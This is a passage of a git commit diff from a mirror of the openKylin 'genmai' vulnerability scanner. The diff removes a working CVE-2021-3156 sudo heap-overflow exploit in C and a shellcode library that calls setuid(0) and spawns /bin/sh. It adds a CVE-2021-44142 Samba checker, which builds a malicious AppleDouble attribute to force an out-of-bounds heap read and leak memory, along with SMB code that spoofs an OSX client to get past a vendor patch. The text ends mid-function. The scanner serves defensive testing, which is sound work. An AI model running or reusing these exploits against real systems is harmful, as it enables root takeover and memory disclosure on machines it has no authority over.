mirror of https://gitee.com/openkylin/genmai.git
update fastscan
This commit is contained in:
parent
a170230c41
commit
09b830d78e
|
@ -1,6 +1,6 @@
|
|||
ConfigFilePrefix: ../data/KernelPocs/
|
||||
Type: kernel
|
||||
ExplorerItems:
|
||||
# - ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
|
||||
# - ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
|
||||
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
|
||||
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
|
||||
- ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml
|
||||
|
|
|
@ -1,108 +0,0 @@
|
|||
#include <unistd.h> // execve()
|
||||
#include <string.h> // strcat()
|
||||
#include <stdio.h>
|
||||
|
||||
/* Exploit for CVE-2021-3156, drops a root shell.
|
||||
* All credit for original research: Qualys Research Team.
|
||||
* https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
|
||||
*
|
||||
* Tested on Ubuntu 20.04 against sudo 1.8.31
|
||||
* Author: Max Kamper
|
||||
*/
|
||||
|
||||
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
|
||||
if(argc < 2){
|
||||
printf("Usage: %s <Command> \n",argv[0]);
|
||||
printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
|
||||
printf("[+]Modify by Rvn0xsy@ https://payloads.online\n");
|
||||
return 0;
|
||||
}
|
||||
char * input_command = argv[1];
|
||||
int nSize = strlen(input_command)+6;
|
||||
|
||||
char * command = malloc(nSize);
|
||||
memset(command,0x00,nSize);
|
||||
sprintf(command,"test\n\n%s\n",input_command);
|
||||
// 'buf' size determines size of overflowing chunk.
|
||||
// This will allocate an 0xf0-sized chunk before the target service_user struct.
|
||||
int i;
|
||||
char buf[0xf0] = {0};
|
||||
memset(buf, 'Y', 0xe0);
|
||||
strcat(buf, "\\");
|
||||
|
||||
char* sudoedit_argv[] = {
|
||||
"sudoedit",
|
||||
"-S",
|
||||
"-s",
|
||||
buf,
|
||||
NULL};
|
||||
|
||||
// Use some LC_ vars for heap Feng-Shui.
|
||||
// This should allocate the target service_user struct in the path of the overflow.
|
||||
char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
|
||||
memset(messages + strlen(messages), 'A', 0xb8);
|
||||
|
||||
char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
|
||||
memset(telephone + strlen(telephone), 'A', 0x28);
|
||||
|
||||
char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
|
||||
memset(measurement + strlen(measurement), 'A', 0x28);
|
||||
|
||||
// This environment variable will be copied onto the heap after the overflowing chunk.
|
||||
// Use it to bridge the gap between the overflow and the target service_user struct.
|
||||
char overflow[0x500] = {0};
|
||||
memset(overflow, 'X', 0x4cf);
|
||||
strcat(overflow, "\\");
|
||||
|
||||
// Overwrite the 'files' service_user struct's name with the path of our shellcode library.
|
||||
// The backslashes write nulls which are needed to dodge a couple of crashes.
|
||||
char* envp[] = {
|
||||
overflow,
|
||||
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
|
||||
"XXXXXXX\\",
|
||||
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
|
||||
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
|
||||
"x/x\\",
|
||||
"Z",
|
||||
messages,
|
||||
telephone,
|
||||
measurement,
|
||||
NULL};
|
||||
|
||||
// Invoke sudoedit with our argv & envp.
|
||||
|
||||
int des_p[2];
|
||||
if(pipe(des_p) == -1){
|
||||
|
||||
puts("Error .. pipe \n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(fork() == 0) //first fork
|
||||
{
|
||||
close(STDOUT_FILENO); //closing stdout
|
||||
dup(des_p[1]); //replacing stdout with pipe write
|
||||
close(des_p[0]); //closing pipe read
|
||||
write(des_p[1],command, strlen(command));
|
||||
close(des_p[1]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(fork()==0){
|
||||
close(STDIN_FILENO); //closing stdin
|
||||
dup(des_p[0]); //replacing stdin with pipe read
|
||||
close(des_p[1]); //closing pipe write
|
||||
close(des_p[0]);
|
||||
|
||||
execve("/usr/bin/sudoedit", sudoedit_argv, envp);
|
||||
perror("execvp of stdread failed");
|
||||
exit(1);
|
||||
}
|
||||
close(des_p[0]);
|
||||
close(des_p[1]);
|
||||
wait(0);
|
||||
wait(0);
|
||||
}
|
|
@ -1,42 +0,0 @@
|
|||
FormatVer: 20220411
|
||||
Id: CVE-2021-3156
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/veritas501/CVE-2021-22555-PipeVersion
|
||||
SiteInfo:
|
||||
Name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序
|
||||
Severity: high
|
||||
Description:
|
||||
Sudo before 1.9.5p2 存在缓冲区错误漏洞,攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root
|
||||
ScopeOfInfluence:
|
||||
小于1.9.5p2
|
||||
References:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-3156
|
||||
- http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2021-3156
|
||||
CweId: CWE-193
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- cve2021
|
||||
- 权限提升
|
||||
- 堆缓冲区溢出漏洞
|
||||
SiteRequests:
|
||||
Implement:
|
||||
RawTypes:
|
||||
- implementOne
|
||||
ImArray:
|
||||
- inter:
|
||||
Exec : CVE-2021-3156_x86_64
|
||||
Args :
|
||||
Condition: None
|
||||
ReqCondition: true
|
||||
Matchers:
|
||||
Types:
|
||||
- dsl
|
||||
MatcherMap:
|
||||
dsl: check os
|
||||
Condition: None
|
|
@ -1 +0,0 @@
|
|||
man
|
|
@ -1,34 +0,0 @@
|
|||
static void __attribute__((constructor)) _init(void) {
|
||||
__asm __volatile__(
|
||||
"addq $64, %rsp;"
|
||||
// setuid(0);
|
||||
"movq $105, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
|
||||
|
||||
// setgid(0);
|
||||
"movq $106, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
|
||||
|
||||
// execve("/bin/sh");
|
||||
"movq $59, %rax;"
|
||||
"movq $0x0068732f6e69622f, %rdi;"
|
||||
"pushq %rdi;"
|
||||
"movq %rsp, %rdi;"
|
||||
"movq $0, %rdx;"
|
||||
"pushq %rdx;"
|
||||
"pushq %rdi;"
|
||||
"movq %rsp, %rsi;"
|
||||
"syscall;"
|
||||
|
||||
|
||||
// exit(0);
|
||||
"movq $60, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
|
||||
);
|
||||
}
|
|
@ -0,0 +1,226 @@
|
|||
import argparse
|
||||
import json
|
||||
import logging
|
||||
import struct
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import smbprotocol
|
||||
from smbprotocol.create_contexts import SMB2CreateContextRequest, CreateContextName, SMB2CreateQueryMaximalAccessRequest
|
||||
from smbprotocol.exceptions import ObjectNameNotFound
|
||||
from smbprotocol.file_info import FileAttributes
|
||||
from smbprotocol.open import ImpersonationLevel, FilePipePrinterAccessMask, ShareAccess, CreateDisposition, \
|
||||
CreateOptions
|
||||
from smbprotocol.open import Open
|
||||
from smbprotocol.session import Session
|
||||
from smbprotocol.tree import TreeConnect
|
||||
|
||||
from apple import make_malicious_apple_double
|
||||
from smbprotocol_extensions import set_extended_attributes, delete_file, OSXConnection
|
||||
|
||||
|
||||
class VulnerabilityInfo:
|
||||
"""
|
||||
Information about a server's vulnerability to CVE-2021-44142
|
||||
"""
|
||||
def __init__(self):
|
||||
self.vulnerable: bool = False
|
||||
self.heap_cookie_leak: str = ""
|
||||
self.heap_pointer_leak: str = ""
|
||||
self.fail_reason: str = ""
|
||||
|
||||
def to_json(self):
|
||||
return json.dumps(self, default=lambda x: x.__dict__)
|
||||
|
||||
|
||||
class AuthenticationError(Exception):
|
||||
"""
|
||||
Raised when pysmb fails to authenticate with the server.
|
||||
"""
|
||||
pass
|
||||
|
||||
|
||||
def looks_like_heap_pointer(pointer: int) -> bool:
|
||||
"""
|
||||
Returns true if pointer could plausibly be a heap chunk
|
||||
:param pointer: Address to interrogate
|
||||
:return: True if the pointer could be a heap chunk, False otherwise
|
||||
"""
|
||||
# Make sure it is in userspace
|
||||
if pointer > 0x00007fffffffffff:
|
||||
return False
|
||||
|
||||
# Make sure it's not in the NULL page
|
||||
if pointer < 0x1000:
|
||||
return False
|
||||
|
||||
# Make the address is 16 byte aligned
|
||||
if pointer % 16 != 0:
|
||||
return False
|
||||
|
||||
# todo more checks
|
||||
return True
|
||||
|
||||
|
||||
def is_vulnerable(tree: TreeConnect) -> (bool, int, int):
|
||||
"""
|
||||
Checks if an SMB share is vulnerable to CVE-2021-44142
|
||||
:param tree: A tree connection for the share in question
|
||||
:return: True if the share is vulnerable, false otherwise
|
||||
"""
|
||||
# NOTE: If filename has length 255, you can't delete it
|
||||
filename = "A" * 250
|
||||
|
||||
# get maximal access on the files we create
|
||||
max_req = SMB2CreateContextRequest()
|
||||
max_req["buffer_name"] = CreateContextName.SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST
|
||||
max_req["buffer_data"] = SMB2CreateQueryMaximalAccessRequest()
|
||||
create_contexts = [max_req]
|
||||
|
||||
# Create our test file
|
||||
test_file = Open(tree, filename)
|
||||
test_file.create(
|
||||
ImpersonationLevel.Impersonation,
|
||||
FilePipePrinterAccessMask.GENERIC_READ |
|
||||
FilePipePrinterAccessMask.GENERIC_WRITE |
|
||||
FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES |
|
||||
FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES |
|
||||
FilePipePrinterAccessMask.DELETE,
|
||||
FileAttributes.FILE_ATTRIBUTE_NORMAL,
|
||||
ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE | ShareAccess.FILE_SHARE_DELETE,
|
||||
CreateDisposition.FILE_OVERWRITE_IF,
|
||||
CreateOptions.FILE_NON_DIRECTORY_FILE,
|
||||
create_contexts
|
||||
)
|
||||
|
||||
# Create a malicious AppleDouble and set the extended attribute
|
||||
ad = make_malicious_apple_double()
|
||||
set_extended_attributes(test_file, b"org.netatalk.Metadata", ad)
|
||||
|
||||
# Open the extended attribute
|
||||
afp_file = Open(tree, f"{filename}:AFP_AfpInfo")
|
||||
try:
|
||||
afp_file.create(
|
||||
ImpersonationLevel.Impersonation,
|
||||
FilePipePrinterAccessMask.GENERIC_READ |
|
||||
FilePipePrinterAccessMask.GENERIC_WRITE |
|
||||
FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES |
|
||||
FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES,
|
||||
FileAttributes.FILE_ATTRIBUTE_NORMAL,
|
||||
ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE,
|
||||
CreateDisposition.FILE_OVERWRITE_IF,
|
||||
CreateOptions.FILE_NON_DIRECTORY_FILE,
|
||||
create_contexts
|
||||
)
|
||||
except ObjectNameNotFound:
|
||||
logging.exception(f"failed to create Open {filename}:AFP_AfpInfo")
|
||||
return False, 0, 0
|
||||
|
||||
# OOB read
|
||||
resp = afp_file.read(0, 0x3c)
|
||||
|
||||
# delete and close files
|
||||
delete_file(test_file)
|
||||
test_file.close()
|
||||
afp_file.close()
|
||||
|
||||
# Parse read response
|
||||
leak = resp[0x10 + 1:]
|
||||
heap_cookie = struct.unpack("<I", leak[14:14 + 4])[0]
|
||||
next_pointer = struct.unpack("<Q", leak[14 + 8: 14 + 8 + 8])[0]
|
||||
byte_of_prev = leak[14 + 8 + 8: 14 + 8 + 8 + 1]
|
||||
# print(f"heap_cookie {heap_cookie}, next_pointer: 0x{next_pointer:x}, prev_bytes: 0x{byte_of_prev[0]:x}")
|
||||
|
||||
# Check the heap cookie
|
||||
if heap_cookie == 0:
|
||||
return False, 0, 0
|
||||
|
||||
# Check the talloc_next pointer
|
||||
if not looks_like_heap_pointer(next_pointer):
|
||||
return False, 0, 0
|
||||
|
||||
return True, heap_cookie, next_pointer
|
||||
|
||||
|
||||
def setup_logging():
|
||||
"""
|
||||
setup_logging initializes the logger
|
||||
"""
|
||||
root = logging.getLogger()
|
||||
root.setLevel(logging.DEBUG)
|
||||
handler = logging.StreamHandler(sys.stdout)
|
||||
handler.setLevel(logging.INFO)
|
||||
formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")
|
||||
handler.setFormatter(formatter)
|
||||
root.addHandler(handler)
|
||||
|
||||
|
||||
def parse_args() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(description="Test if a Samba server if vulnerable to CVE-2021-44142")
|
||||
parser.add_argument("server", type=str, help="Samba server")
|
||||
parser.add_argument("port", type=int, help="Samba port")
|
||||
parser.add_argument("share", type=str, help="Samba share name")
|
||||
parser.add_argument("user", type=str, help="user name")
|
||||
parser.add_argument("--password", type=str, help="password", default="guest")
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def main():
|
||||
args = parse_args()
|
||||
|
||||
#setup_logging()
|
||||
|
||||
# Defaults to not vulnerable
|
||||
vulnerability_info: VulnerabilityInfo = VulnerabilityInfo()
|
||||
|
||||
# Attempt to connect to server
|
||||
logging.info(f"Attempting to connect to {args.server}:{args.port}")
|
||||
connection = OSXConnection(uuid.uuid4(), args.server, port=args.port,
|
||||
require_signing=False if args.user == "Guest" else True)
|
||||
try:
|
||||
connection.connect()
|
||||
logging.info("Connection successful")
|
||||
|
||||
# Attempt to authenticate with the server
|
||||
logging.info(f"Attempting to authenticate as {args.user}")
|
||||
session = Session(connection, username=args.user, password=args.password, require_encryption=False)
|
||||
try:
|
||||
session.connect()
|
||||
# Connect to the share
|
||||
logging.info(f"Attempting to connect to share {args.share}")
|
||||
tree = TreeConnect(session, f"\\\\{args.server}\\{args.share}")
|
||||
try:
|
||||
tree.connect(require_secure_negotiate=False)
|
||||
logging.info(f"Checking for vulnerability")
|
||||
vulnerable, heap_cookie, heap_pointer = is_vulnerable(tree)
|
||||
if vulnerable:
|
||||
logging.info(f"{args.share} is vulnerable")
|
||||
vulnerability_info.vulnerable = True
|
||||
vulnerability_info.heap_cookie_leak = hex(heap_cookie)
|
||||
vulnerability_info.heap_pointer_leak = hex(heap_pointer)
|
||||
else:
|
||||
vulnerability_info.fail_reason = f"TARGET_NOT_VULNERABLE"
|
||||
logging.info(vulnerability_info.fail_reason)
|
||||
except smbprotocol.exceptions.AccessDenied:
|
||||
vulnerability_info.fail_reason = "SHARE_ACCESS_DENIED"
|
||||
finally:
|
||||
tree.disconnect()
|
||||
except smbprotocol.exceptions.LogonFailure:
|
||||
vulnerability_info.fail_reason = f"AUTHENTICATION_FAILURE"
|
||||
except smbprotocol.exceptions.SMBException:
|
||||
vulnerability_info.fail_reason = f"INCORRECT_PASSWORD"
|
||||
except OSError:
|
||||
vulnerability_info.fail_reason = "NO_SERVER_CONNECTION"
|
||||
|
||||
# print(vulnerability_info.to_json())
|
||||
result=vulnerability_info.to_json()
|
||||
result=str(result)
|
||||
# print(result.find('ture'))
|
||||
if result.find('ture')!=-1:
|
||||
print("successful")
|
||||
else:
|
||||
print("false")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -0,0 +1,52 @@
|
|||
FormatVer: 20230222
|
||||
Id: CVE-2021-44142
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/horizon3ai/CVE-2021-44142
|
||||
SiteInfo:
|
||||
Name: Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
|
||||
Severity: high
|
||||
Description:
|
||||
Samba官方发布安全公告,4.13.17之前的所有Samba 版本中存在一个代码执行漏洞(CVE-2021-44142),该漏洞存在于Samba中vfs_fruit模块的默认配置中,在smbd解析EA元数据时,对文件扩展属性具有写访问权限的远程攻击者(可以是guest或未认证用户)可越界写入并以root身份执行任意代码。
|
||||
ScopeOfInfluence:
|
||||
4.13.x < Samba < 4.13.17
|
||||
4.14.x < Samba < 4.14.12
|
||||
4.15.x < Samba < 4.15.5
|
||||
References:
|
||||
- https://www.samba.org/samba/security/CVE-2021-44142.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44142
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A
|
||||
CvssScore: 8.8
|
||||
CveId: CVE-2021-44142
|
||||
CweId: CWE-125,CWE-787
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- RCE
|
||||
- Samba
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : python3
|
||||
Exec : CVE-2021-44142.py
|
||||
Args :
|
||||
- "127.0.0.1"
|
||||
- "445"
|
||||
- TimeMachineBackup
|
||||
- root
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- '>?:successful' #ture
|
||||
Condition: None
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,173 @@
|
|||
"""
|
||||
This file contains structure definitions for AppleDouble structures.
|
||||
For more information see
|
||||
https://web.archive.org/web/20180311140826/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf
|
||||
"""
|
||||
from ctypes import *
|
||||
|
||||
AFP_OFF_FinderInfo = 16
|
||||
AFP_INFO_SIZE = 0x3c
|
||||
|
||||
|
||||
class AfpInfo(Structure):
|
||||
"""
|
||||
Structure definition for AfpInfo
|
||||
"""
|
||||
AFP_FinderSize = 32
|
||||
# typedef struct _AfpInfo
|
||||
# {
|
||||
# uint32_t afpi_Signature; /* Must be *(PDWORD)"AFP" */
|
||||
# uint32_t afpi_Version; /* Must be 0x00010000 */
|
||||
# uint32_t afpi_Reserved1;
|
||||
# uint32_t afpi_BackupTime; /* Backup time for the file/dir */
|
||||
# unsigned char afpi_FinderInfo[AFP_FinderSize]; /* Finder Info (32 bytes) */
|
||||
# unsigned char afpi_ProDosInfo[6]; /* ProDos Info (6 bytes) # */
|
||||
# unsigned char afpi_Reserved2[6];
|
||||
# } AfpInfo;
|
||||
_fields_ = [
|
||||
("afpi_Signature", c_uint8 * 4),
|
||||
("afpi_Version", c_uint32),
|
||||
("afpi_Reserved1", c_uint32),
|
||||
("afpi_BackupTime", c_uint32),
|
||||
("afpi_FinderInfo", c_uint8 * AFP_FinderSize),
|
||||
("afpi_ProDosInfo", c_uint8 * 6),
|
||||
("afpi_Reserved2", c_uint8 * 6)
|
||||
]
|
||||
|
||||
def __init__(self, finder_bytes: bytes = "A" * AFP_FinderSize):
|
||||
assert len(finder_bytes) == self.AFP_FinderSize
|
||||
self.afpi_Signature[0] = ord("A")
|
||||
self.afpi_Signature[1] = ord("F")
|
||||
self.afpi_Signature[2] = ord("P")
|
||||
self.afpi_Signature[3] = 0x0
|
||||
self.afpi_Version = 0x00010000
|
||||
for i in range(self.AFP_FinderSize):
|
||||
self.afpi_FinderInfo[i] = finder_bytes[i]
|
||||
super().__init__()
|
||||
|
||||
|
||||
class AppleDoubleEntryDescriptor(BigEndianStructure):
|
||||
"""
|
||||
Structure definition for an AppleDoubleEntryDescriptor
|
||||
"""
|
||||
_pack_ = 1
|
||||
_fields_ = [
|
||||
# entry_id an unsigned 32-bit number, defined what that entry is, Entry IDs
|
||||
# range from 1 to 0xFFFFFFFF, Entry ID 0 is invalid
|
||||
("entry_id", c_uint32),
|
||||
|
||||
# offset, an unsigned 32-bit number, shows the offset from the beginning of
|
||||
# the file to the beginning of the entry's data
|
||||
("offset", c_uint32),
|
||||
|
||||
# length, an unsigned 32-bit number, shows the length of the data in bytes.
|
||||
# The length can be 0
|
||||
("length", c_uint32)
|
||||
]
|
||||
|
||||
|
||||
class AppleDoubleHeader(BigEndianStructure):
|
||||
"""
|
||||
Structure definition for an AppleDoubleHeader
|
||||
"""
|
||||
_pack_ = 1
|
||||
_fields_ = [
|
||||
("magic", c_uint32),
|
||||
("version", c_uint32),
|
||||
("filler", c_uint8 * 16),
|
||||
("number_of_entries", c_uint16)
|
||||
# Entry descriptors
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
self.magic = 0x00051607
|
||||
self.version = 0x00020000
|
||||
super().__init__()
|
||||
|
||||
|
||||
def make_malicious_apple_double() -> bytes:
|
||||
"""
|
||||
Creates a malicious AppleDouble with bogus entry offsets to trigger an OOB read
|
||||
:return:
|
||||
"""
|
||||
# AppleDouble entry IDs.
|
||||
ADEID_DFORK = 1
|
||||
ADEID_RFORK = 2
|
||||
ADEID_NAME = 3
|
||||
ADEID_COMMENT = 4
|
||||
ADEID_ICONBW = 5
|
||||
ADEID_ICONCOL = 6
|
||||
ADEID_FILEI = 7
|
||||
ADEID_FILEDATESI = 8
|
||||
ADEID_FINDERI = 9
|
||||
ADEID_MACFILEI = 10
|
||||
ADEID_PRODOSFILEI = 11
|
||||
ADEID_MSDOSFILEI = 12
|
||||
ADEID_SHORTNAME = 13
|
||||
ADEID_AFPFILEI = 14
|
||||
ADEID_DID = 15
|
||||
|
||||
# Private Netatalk entries
|
||||
# ADEID_PRIVDEV = 16
|
||||
# ADEID_PRIVINO = 17
|
||||
# ADEID_PRIVSYN = 18
|
||||
# ADEID_PRIVID = 19
|
||||
# ADEID_MAX = (ADEID_PRIVID + 1)
|
||||
|
||||
# These are the real ids for the private entries as stored in the adouble file
|
||||
AD_DEV = 0x80444556
|
||||
AD_INO = 0x80494E4F
|
||||
AD_SYN = 0x8053594E
|
||||
AD_ID = 0x8053567E
|
||||
|
||||
# Field widths
|
||||
ADEDLEN_NAME = 255
|
||||
ADEDLEN_COMMENT = 200
|
||||
ADEDLEN_FILEI = 16
|
||||
ADEDLEN_FINDERI = 32
|
||||
ADEDLEN_FILEDATESI = 16
|
||||
ADEDLEN_SHORTNAME = 12 # length up to 8.3
|
||||
ADEDLEN_AFPFILEI = 4
|
||||
ADEDLEN_MACFILEI = 4
|
||||
ADEDLEN_PRODOSFILEI = 8
|
||||
ADEDLEN_MSDOSFILEI = 2
|
||||
ADEDLEN_DID = 4
|
||||
ADEDLEN_PRIVDEV = 8
|
||||
ADEDLEN_PRIVINO = 8
|
||||
ADEDLEN_PRIVSYN = 8
|
||||
ADEDLEN_PRIVID = 4
|
||||
|
||||
header = AppleDoubleHeader()
|
||||
header.number_of_entries = 8
|
||||
b = bytes(header)
|
||||
|
||||
# We must have 8 entries. If the size of the xattr does not 402, samba will delete it on read
|
||||
# (ID, LEN, OFFSET)
|
||||
entry_list = [
|
||||
# vulnerable offset, point to end of buffer 401
|
||||
(ADEID_FINDERI, 1, 401),
|
||||
(ADEID_COMMENT, ADEDLEN_COMMENT, 1),
|
||||
(ADEID_FILEDATESI, ADEDLEN_FILEDATESI, 1),
|
||||
(ADEID_AFPFILEI, ADEDLEN_AFPFILEI, 1),
|
||||
(AD_DEV, ADEDLEN_PRIVDEV, 1),
|
||||
(AD_INO, ADEDLEN_PRIVINO, 1),
|
||||
(AD_SYN, ADEDLEN_PRIVSYN, 1),
|
||||
(AD_ID, ADEDLEN_PRIVID, 1)
|
||||
]
|
||||
assert len(entry_list) == 8
|
||||
data = b""
|
||||
for eid, length, offset in entry_list:
|
||||
desc = AppleDoubleEntryDescriptor()
|
||||
desc.entry_id = eid
|
||||
desc.offset = offset
|
||||
desc.length = length
|
||||
b += bytes(desc)
|
||||
if eid == ADEID_FINDERI:
|
||||
# We fake this to get pass a check in ad_unpack
|
||||
data += b"A" * ADEDLEN_FINDERI
|
||||
else:
|
||||
data += b"A" * length
|
||||
|
||||
b += data
|
||||
assert len(b) == 402, f"len(b) == {len(b)}"
|
||||
return b
|
|
@ -0,0 +1,227 @@
|
|||
"""
|
||||
This file provides extensions the smbprotocol package
|
||||
"""
|
||||
import logging
|
||||
import threading
|
||||
from collections import OrderedDict
|
||||
from typing import Dict
|
||||
|
||||
from smbprotocol import MAX_PAYLOAD_SIZE
|
||||
from smbprotocol.connection import Connection, Request
|
||||
from smbprotocol.file_info import FileFullEaInformation, QueryInfoFlags, FileBasicInformation, FileAttributes, \
|
||||
FileDispositionInformation
|
||||
from smbprotocol.header import SMB2HeaderResponse
|
||||
from smbprotocol.open import SMB2QueryInfoRequest, Open, SMB2SetInfoRequest, SMB2SetInfoResponse, SMB2QueryInfoResponse
|
||||
from smbprotocol.session import Session
|
||||
from smbprotocol.structure import Structure, BytesField, IntField, FlagField
|
||||
from smbprotocol.tree import TreeConnect
|
||||
|
||||
|
||||
class SMBFlags(object):
|
||||
"""
|
||||
Flags for the SMB header
|
||||
"""
|
||||
SMB_FLAGS_LOCK_AND_READ_OK = 0x01
|
||||
SMB_FLAGS_BUF_AVAIL = 0x02
|
||||
RESERVED = 0x04
|
||||
SMB_FLAGS_CASE_INSENSITIVE = 0x08
|
||||
SMB_FLAGS_CANONICALIZED_PATHS = 0x10
|
||||
SMB_FLAGS_OPLOCK = 0x20
|
||||
SMB_FLAGS_OPBATCH = 0x40
|
||||
SMB_FLAGS_REPLY = 0x80
|
||||
|
||||
|
||||
class SMBFlags2(object):
|
||||
"""
|
||||
Flags2 for the SMB header
|
||||
"""
|
||||
SMB_FLAGS2_LONG_NAMES = 0x0001
|
||||
SMB_FLAGS2_EAS = 0x0002
|
||||
SMB_FLAGS2_SMB_SECURITY_SIGNATURE = 0x0004
|
||||
SMB_FLAGS2_IS_LONG_NAME = 0x0040
|
||||
SMB_FLAGS2_EXTENDED_SECURITY = 0x0800
|
||||
SMB_FLAGS2_DFS = 0x1000
|
||||
SMB_FLAGS2_PAGING_IO = 0x2000
|
||||
SMB_FLAGS2_NT_STATUS = 0x4000
|
||||
SMB_FLAGS2_UNICODE = 0x8000
|
||||
|
||||
|
||||
class SMBHeader(Structure):
|
||||
"""
|
||||
Structure definition for SMBHeader
|
||||
"""
|
||||
def __init__(self):
|
||||
self.fields = OrderedDict([
|
||||
('protocol', BytesField(
|
||||
size=4,
|
||||
default=b"\xffSMB"
|
||||
)),
|
||||
('command', IntField(
|
||||
size=1
|
||||
)),
|
||||
('status', IntField(size=4)),
|
||||
('flags', FlagField(
|
||||
size=1,
|
||||
flag_type=SMBFlags,
|
||||
)),
|
||||
('flags2', FlagField(
|
||||
size=2,
|
||||
flag_type=SMBFlags2
|
||||
)),
|
||||
('pid_high', IntField(size=2, default=0)),
|
||||
('signature', IntField(size=8, default=0)),
|
||||
('reserved', IntField(size=2, default=0)),
|
||||
('tree_id', IntField(size=2)),
|
||||
('pid_low', IntField(size=2)),
|
||||
('uid', IntField(size=2)),
|
||||
('mid', IntField(size=2))
|
||||
])
|
||||
super(SMBHeader, self).__init__()
|
||||
|
||||
|
||||
class SMBNegotiateRequest(Structure):
|
||||
"""
|
||||
Structure definition for SMBNegotiateRequest
|
||||
"""
|
||||
def __init__(self):
|
||||
self.fields = OrderedDict([
|
||||
('word_count', IntField(size=1)),
|
||||
('byte_count', IntField(size=2)),
|
||||
# ('dialects', BytesField(list_type=TextField()))
|
||||
])
|
||||
super(SMBNegotiateRequest, self).__init__()
|
||||
|
||||
|
||||
class OSXConnection(Connection):
|
||||
"""
|
||||
WD My Could OS firmware has a custom patch that disables the vulnerable vfs modules unless
|
||||
the connection appears to be from OSX. This means that the first message from the connection is
|
||||
an SMB negotitate request with the following dialects set.
|
||||
* NT LM 0.12
|
||||
* SMB 2.002
|
||||
* SMB 2.???
|
||||
"""
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(OSXConnection, self).__init__(*args, **kwargs)
|
||||
self.disconnect_called = False
|
||||
self.send_called = False
|
||||
|
||||
def disconnect(self, close=True):
|
||||
"""
|
||||
This is a hack, the message_thread raises an exception because it expects
|
||||
an SMB2 message, but it receives an SMB message. So here we restart the
|
||||
message thread if it's the first time disconnect is called.
|
||||
"""
|
||||
if self.disconnect_called:
|
||||
super(OSXConnection, self).disconnect(close=close)
|
||||
else:
|
||||
# Receive the response
|
||||
t_worker = threading.Thread(target=self._process_message_thread,
|
||||
name="msg_worker-%s:%s" % (self.server_name, self.port))
|
||||
t_worker.daemon = True
|
||||
t_worker.start()
|
||||
self._t_exc = None
|
||||
self.disconnect_called = True
|
||||
|
||||
def _send_smb2_negotiate(self, dialect, timeout, encryption_algorithms, signing_algorithms):
|
||||
"""
|
||||
Override _send_smb2_negotiate to send an SMB Negotiate request to make Samba think the
|
||||
request is coming from OSX
|
||||
"""
|
||||
header = SMBHeader()
|
||||
header['command'] = 0x72
|
||||
header['status'] = 0
|
||||
header['flags'] = SMBFlags.SMB_FLAGS_CASE_INSENSITIVE
|
||||
header['flags2'] = SMBFlags2.SMB_FLAGS2_UNICODE | \
|
||||
SMBFlags2.SMB_FLAGS2_NT_STATUS | \
|
||||
SMBFlags2.SMB_FLAGS2_EXTENDED_SECURITY | \
|
||||
SMBFlags2.SMB_FLAGS2_LONG_NAMES
|
||||
header['tree_id'] = 65535
|
||||
header['pid_low'] = 1
|
||||
